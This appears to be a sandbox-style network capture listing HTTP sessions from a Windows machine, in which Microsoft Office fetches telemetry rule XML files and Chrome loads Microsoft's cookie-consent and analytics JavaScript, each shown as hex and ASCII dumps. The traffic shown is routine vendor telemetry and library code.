2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-1777c6cb754dqf99hC1TEB5nps000000090000000000ae17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-185f5d8b95cgrrn8hC1NYCgwh400000009r0000000004fkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-r1d97b99577kk29chC1TEBemmg00000008g0000000006zdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-r1d97b9957789g82hC1TEBstx000000008fg000000001xqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:31 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:31 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054031Z-1777c6cb754wcxkwhC1TEB3c6w000000092000000000crmx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49814	13.107.246.45	443	2200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:32 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 05:40:32 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:32 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 38098 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 83812644-101e-002a-70b6-3a1fcf000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T054032Z-1777c6cb754g9zd5hC1TEBfvpw00000009cg0000000012fz Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 05:40:32 UTC	83	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replac
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 43 61 74 65 67 6f 72 69 65 73 3d 65 2c 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 3d 74 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 43 61 74 65 67 6f 72 69 65 73 50 72 65 66 65 72 65 6e 63 65 73 3d 6f 2c 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 Data Ascii: e(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookieCategories=e,this.textResources=t,this.cookieCategoriesPreferences=o,this.containe
2024-11-20 05:40:32 UTC	16382	IN	Data Raw: 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 2d Data Ascii: abel:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:focus::before {\n border: 1px solid "+e["radio-button-hover-border-
2024-11-20 05:40:32 UTC	4197	IN	Data Raw: 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 29 3a 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 63 61 6c 6c 28 65 29 7d 29 29 7d 2c 65 2e 63 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4d 53 43 43 22 2c Data Ascii: s.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventListener(t,o):e.attachEvent("on"+t,(function(){o.call(e)}))},e.cookieName="MSCC",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49815	13.107.246.60	443	2200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:32 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 05:40:32 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:32 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T054032Z-1777c6cb754xlpjshC1TEBv8cc000000099000000000cegs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-20 05:40:32 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-20 05:40:32 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new 